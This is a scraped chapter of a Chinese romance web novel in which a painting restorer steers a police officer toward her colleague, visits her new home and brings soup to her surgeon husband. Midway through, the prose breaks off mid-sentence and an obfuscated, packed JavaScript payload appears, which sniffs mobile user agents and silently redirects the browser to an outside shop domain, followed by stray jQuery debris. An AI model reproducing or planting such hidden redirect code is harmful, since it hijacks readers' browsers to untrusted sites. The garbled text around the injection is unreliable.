文趣网 > 都市小说 > 玻璃娃娃 > 42. 巧克力
    “请进。”

    “惜惜。”井星灿站在门口,深蓝色的执勤服衬得肩线格外挺阔。他走进来,目光在她脸上停了一瞬,然后移到她正在整理的补纸上,“昨天下午我发消息你没回,后来才知道你出了事故。人没事吧?”

    “没事,就是不小心追尾了。你找我有事?”俞惜问。

    井星灿顿了一会儿说:“正好路过,你上次不是说找时间带我参观一下修复室的吗?”

    “现在?”

    “你要是忙的话改天也行。”井星灿说着,目光已经越过她落在窗边的长案上。

    “没什么不方便的。”俞惜放下镊子,从修复台旁绕出来,“上次你给喻老送报告的时候,安意也在。你还记得吗?”

    “记得。”井星灿说,“小顾师傅。”

    “她是喻老的亲传弟子。”俞惜说,“和我同一批进的修复室。这段时间我手里的工作比较多,来不及给你做讲解准备,所以拜托她帮忙。”

    井星灿的脚步顿住,和俞惜落下一些距离。

    俞惜转过身看他:“安意对修复室比我更了解。”

    井星灿把手插进口袋里,指尖在布料内侧轻轻捻着。俞惜没太注意,领着他往里走。

    “安意。”俞惜敲门。

    顾安意听见动静从案桌上抬起头,她今天穿了一件浅蓝色的工作服,珍珠耳环在耳垂上轻轻晃着。

    “师姐,怎么了——”她的目光越过俞惜落在她身后的深蓝色身影上,后半截话卡在喉咙里。

    “上次跟你说的参观,你现在有空吗?”俞惜侧身让出门口的位置,“井警官今天正好有空。”

    顾安意站起来,圆珠笔在修复笔记上滚了半圈,被她手忙脚乱的按住。低头的瞬间,顾安意提了口气,把圆珠笔端端正正地放在笔记旁。

    “有空。”她说,“井警官,欢迎来参观。”

    “打扰了。”井星灿微微欠身,目光和她礼貌相触。

    “不打扰!”顾安意摆手,“我们修复室也会接待一些来访的同行,所以不打扰。”

    俞惜往后退了半步,把门口的位置完全让出来。“安意,你带井警官先从装裱区开始看吧。我那边还有一幅画心的补洞没做完,就不陪着了。”

    “好的师姐!”顾安意用力地点头。

    俞惜把修复室的门虚掩上,悄悄离开。她手里的花鸟图是这批书画的重点展示之一,昨天被鉴定报告的事耽搁了,这两天要赶进度。

    不知道过了多久,修复室的门被轻轻推开。俞惜放下镊子直起腰,看见井星灿站在门口。

    “安意呢?”她问。

    “刚有人找她,去资料室了。”

    “参观的怎么样?”

    “顾老师讲的很详细。”他说。

    “她准备了很久。”俞惜笑着说。

    窗外的老槐树落了一枝黄叶,簌簌地打在窗棂上。修复室里的光线暗了一瞬,又在云层移开后恢复如常。

    “我第一次见你的时候,”井星灿忽然开口,“也是在这样的修复室里。那时候你坐在画案前看着一张空白的宣纸发呆,我问你在看什么,你说在看纸上的光。”

    他的声音很稳,可放在身侧的手,指节泛着白。

    “安意今天为了给你做讲解,提前准备了好几天。”俞惜垂下眼,“你刚才看到的修复案例都是她独立完成的。”

    井星灿沉默着。

    “她专业能力很好,喻老也说她是这些年带过的学生里最有灵气的。安意对修复有热情,对人也真诚。”

    “惜惜。”

    他往后退了一步,深蓝色的执勤服重新站回光与影的分界线上。

    “我有喜欢的人,所以……”

    “所以,以后不要这样了。”

    阳光在他深蓝色的执勤服上切出一道明暗交界线。他站在光里,但说的话却像是从很远的地方走过来,走了很久才走到这一刻。

    “师兄……”

    久违的称呼,但俞惜却是脱口而出。

    修复室里安静得能听见槐叶落地的声音。

    “抱歉,师兄。”

    井星灿站在光与影的分界线上,没有向前也没有后退。他只是站在那里,像很多年前在青山的院子里那样,站在最外面,不靠近,也不离开。

    “不用抱歉。”他说,“是我自己的问题。”

    “你也不知道。”井星灿说,“顾老师很专业,今天的讲解多谢她。”

    “她听到会高兴。”俞惜说。

    井星灿点了点头,往门口走了两步又停下来。

    “那幅画,后续有进展会通知我。你最近注意安全,在案子完全结束之前,万事小心为上。”

    门在他身后轻轻合上。俞惜把镊子搁在瓷碟边缘,望着窗外的老槐树出神。

    “师姐。”顾安意抱着档案盒,用肩膀顶开门,“井警官走了?”

    顾安意“哦”了声,把档案盒放好。

    “他说你今天的讲解很详细,很专业。”俞惜说。

    顾安意长呼一口气:“那就好,那就好。他还真是个行家,问了我好多问题。”

    她停下手里的动作,抬起头:“师姐,你和他是不是认识很久了?”

    “他在我之前就跟着老师学画了。”俞惜说,“按时间来算,我应该叫他师兄。”

    “那他为什么考警校啊?”她问,“学了那么多年,说不画就不画了?”

    俞惜轻轻摇头,她确实不知道。井星灿从来没有提过考警校的事,但每个周末他都会坐在画案前安安静静地临摹,没有缺席过一天。所有人都以为他会考美院。直到有一天他没来,大家才知道他填了警校的志愿。

    修复室安静了一会儿,顾安意忽然站起来。

    “我去库房取一下明天要用的补绢。”她说,“师姐你也别趴太久,记得起来活动一下。”

    顾安意转过头,嘴角弯了一下:“谢谢师姐让我给他做讲解。”

    走廊里响起她轻快的脚步声,和往常一样,三步并两步。

    陈靳白晚上回家的时候,厨房的灯亮着。他换了鞋,站在厨房门口,看见俞惜正弯腰尝汤的咸淡。

    灶台上的菜还在冒着热气,围裙的带子在背后系得有些松了,垂下来一小截。她的长发用青木簪子松松挽着,有一缕从耳后滑出来。

    “回来了?”俞惜回头看了他一眼,“正好,可以吃饭了。”

    吃完饭,俞惜窝在沙发上,把电视调到纪录片频道,声音放得很低。陈靳白从厨房出来,在她旁边坐下,沙发陷下去一点,她顺势歪过去靠在他肩上。陈靳白伸手把她揽进怀里,手指在她发间轻轻拨了一下。

    “今天,”他说,“是不是发生了什么事?”

    “师兄今天来修复室了。来参观。”

    陈靳白的手指在她肩上停了一下:“就这些?”

    “我好像做错事了。”

    客厅里忽明忽暗的光在她脸上明明灭灭地闪着。

    俞惜靠在陈靳白肩上:“他说让我不要撮合他和安意。”

    “顾小姐对他有好感,你给他们创造了认识的机会。你机会给了,话也说清了。剩下来的就看他们自己了。”

    他的手指在她发间停住,慢慢落回她肩上,把她往怀里拢了拢。

    “妈说,新房装修的差不多了,”陈靳白转个话题,“软装的设计图你看了吗?”

    “看了。”俞惜在他怀里坐直了些,“书房的我想把书架做到顶。原来的书架太浅,放不了修复用的工具。我让设计师把隔板深度加了十五公分,靠窗的位置改成了一张长案,可以做修复台用。”

    “那我们周末一起去看看?”他说。

    “周末要回老宅吃饭。”俞惜仰着头看他,“你忘了?哥从瑞士回来了。”

    “没忘。”陈靳白说,“吃完饭再去。”

    俞惜点点头:“那新房什么时候搬啊?”

    “快了。”陈靳白说,“下周开始进家具。”

    隔天早上,俞惜是被窗外噼里啪啦的声响吵醒的。雨点打在玻璃上,顺着窗户往下淌。

    陈靳白站在玄关换鞋,俞惜站在他面前,帮他把衬衫领口翻好。

    “路上小心。”

    “你也是。”陈靳白低头在她额上落下一吻。

    博物院门口的水泥被雨水浇得颜色深了一层,梧桐叶粘在湿漉漉的石阶上。

    “师姐早!”

    “早。”俞惜接过顾安意手里的伞,靠在墙角沥水,“今天怎么来这么早。”

    “今天要修的那幅山水图,我心里没底。上次喻老说我的线条太软了。”顾安意打了个喷嚏,“我想早点来练习一下。”

    “那幅画确实有点难,”俞惜说,“需要我帮你看看吗?”

    修复室里老槐树的影子被雨打散在窗棂上,斑斑点点地晃着。

    顾安意将画心平铺在长案上,用镇尺压住四角。一寸一寸地比对补纸和画心原本的颜色,她做得比平时慢得多,每一刷都反复确认浆糊的厚度。

    “这里的色彩有点重了。藤黄加赭石调淡一点,不然补上去之后整个画面的色调会被这一块拉偏。”俞惜指着左上角。

    顾安意凑近看了看,重新拿起调色盘。然后按着俞惜的说法,在调色盘上挤了一点藤黄和赭石,用毛笔一点一点地加水调淡。

    窗外的雨还在下,打得老槐树的叶子上沙沙响,雨声从窗外漫进来。

    俞惜小心地用素白锦缎盖好画,四角压上镇尺。收拾好东西,俞惜拿起包,轻手轻脚地离开。

    新家在静安居,从博物院过去不堵车的话只要十五分钟。

    电梯门打开的时候,走廊里飘着淡淡的新漆味,不算刺鼻,混在雨后的清新空气里,反而有种干干净净的崭新感。

    俞惜推开门进去。玄关的感应灯亮了一下,暖黄色的光涌上来。

    客厅的窗帘还没装,雨天的光线从落地窗毫无遮挡地铺进来,把整个空间照得清透明亮。地板是新铺的橡木,颜色比老宅的浅一些,踩上去像是脚下也生了根。

    雨比来的时候小了些,从倾盆变成了细密的雨丝,斜斜地飘在玻璃上。

    她想起第一次来这里的时候,空房子还是空的,她站在客厅中央,看着空荡荡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535697|202727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的房间,她想:这里是新的开始。

    现在这个重新开始的地方,渐渐有了她在心里描摹过很多次的家的样子。

    从新家出来,俞惜没有叫蒋叔来接。静安居离小区不远,走过两条街就到了。她撑着伞在雨里走了一会儿,走到小区门口的时候,鞋尖湿了一点,但心情很好。

    俞惜洗了个热水澡,换上家居服。冰箱保鲜盒里有陈靳白提前备好的排骨,已经焯过水,旁边放着切好的山药块。她把排骨炖上,汤锅在灶上咕嘟咕嘟地响着,酱香混着山药清甜弥漫开来。

    排骨汤已经炖足了火候,她用勺子撇去浮油,先捞了几块肉质最嫩的肋排铺在桶底,再盛满汤,山药块码在最上面,盖上盖子,旋紧。

    出门的时候雨又密了一层,蒋叔的车已经停在楼下。

    市一院神经外科的走廊,白炽灯和往常一样亮着。俞惜从电梯出来,和值班护士点头打了个招呼。

    “陈医生还在手术室,应该快回来了。”

    “好,谢谢。”

    俞惜在走廊的椅子上坐下,桶壁的温度透过裤子布料传到皮肤上,温温热热的。走廊里偶尔有人推着治疗车经过,轮子碾过地胶,发出闷闷的咕噜声。

    不知道过了多久,陈靳白走过来,在她面前站定。手术服上还带着消毒水的气味,混在走廊的空调风里往她鼻子里钻。

    “下雨还出门。”

    “下雨才要送,趁热喝。”俞惜站起来,把保温桶拎高了晃了晃,“山药排骨,刚炖好的。”

    陈靳白接过保温盒,手心贴在温热的银色外壳上。他低头看了一眼,又抬起头看她。她出门前换了件厚毛衣,头发随便扎了个低马尾,有几缕没拢住,被雨天的潮气濡湿了贴在耳侧。保温盒抱了一路,毛衣前襟都被捂出一小片温热的气息。

    “等了多久?”他问。

    “没多久。护士说你再有半小时就出来了,我就等了等。”

    陈靳白没说话,只是把保温桶换到左手拎着,腾出右手牵住她的手,往休息室走。他的手刚从手术手套里脱出来,掌心干燥温热,拇指在她手背上习惯性地蹭了一下。

    休息室里只有他们两个人。陈靳白把保温盒放在桌上旋开盖子,排骨汤的热气冒上来,酱香混着山药的清甜弥漫开来,旁边一个住院医师探头看了一眼又缩回去了。

    “你吃了吗?”他问。

    “吃了。”俞惜在他对面坐下,趴在椅背上看他喝汤,“好不好喝?”

    “好喝。”陈靳白用勺子舀了块山药送进嘴里,炖得酥而不烂,入口即化。他吃东西的样子和平时一样斯文,但速度比在家时快了不少,显然是饿了。

    “一会儿要加班吗?”她问。

    “交完班就能走。”陈靳白看了眼墙上的钟,“大概四十分钟。你再等我一会儿,一起回家。”

    “好。”

    陈靳白把俞惜带去办公室,拿起交班记录本往外走。走到门口又停下来,没忍住回头看她。

    俞惜坐在椅子上,歪着头看他。

    走廊里的灯光从门缝透进来,在她脸上落下一道柔和的侧光。

    “抽屉里有巧克力。”他说。

    俞惜笑着点点。

    抽屉最上面是一盒没拆封的白巧克力,下面是几本医学期刊,再下面是一叠便签纸——和她床头柜抽屉里攒的那些一样。他的字迹在上面零零散散地记着:术后注意事项、病人姓名和床位号、药名和剂量。

    最底下那张便签写着。

    “明天降温,提醒她加衣服。”

    俞惜把那张便签折好放回原处,掰开一小块巧克力含在嘴里。

    手机震了一下,是顾安意发来的消息。

    “师姐,今天帮我改的那几笔真的有效!喻老检查的时候说我的配色进步了!!!”

    俞惜弯起嘴角,回了一条:“本来就是你自己调的色,我只是说了一声偏重。早点休息,明天见。”

    消息发出去,她收起手机,把保温盒收拾进帆布包里。

    走廊里响起脚步声,越来越近。

    陈靳白推门进来:“好了,回家。”

    雨已经停了。停车场的地面湿漉漉的,倒映着头顶的路灯。

    陈靳白发动车子,暖风慢慢吹起来。俞惜靠在副驾上,看着车窗外的城市夜景。路面的积水反射着霓虹灯光,被车轮碾过,碎成一片亮晶晶的水花。

    “今天去看新房了?”陈靳白打着方向盘,车子拐进小区的主路。

    “嗯。”俞惜说,“客厅的窗帘还没装,地板什么的都铺好了。颜色比效果图上的浅一些,我觉得浅的更好看。”

    “飘窗呢?改好了吗?”

    “好啦。可以坐在上面看书。”她侧过头看他,“你怎么知道?”

    “设计师问过我。”陈靳白说,“说你把尺寸改了好几次,最后定了比标准宽二十公分。他说这会影响工期,我说听你的。”

    俞惜靠在头枕上,看着他被路灯照亮又暗下去的侧脸。

    车子停进地库。回到家,俞惜把保温盒放进水槽,陈靳白从背后环住她的腰,下巴搁在她头顶。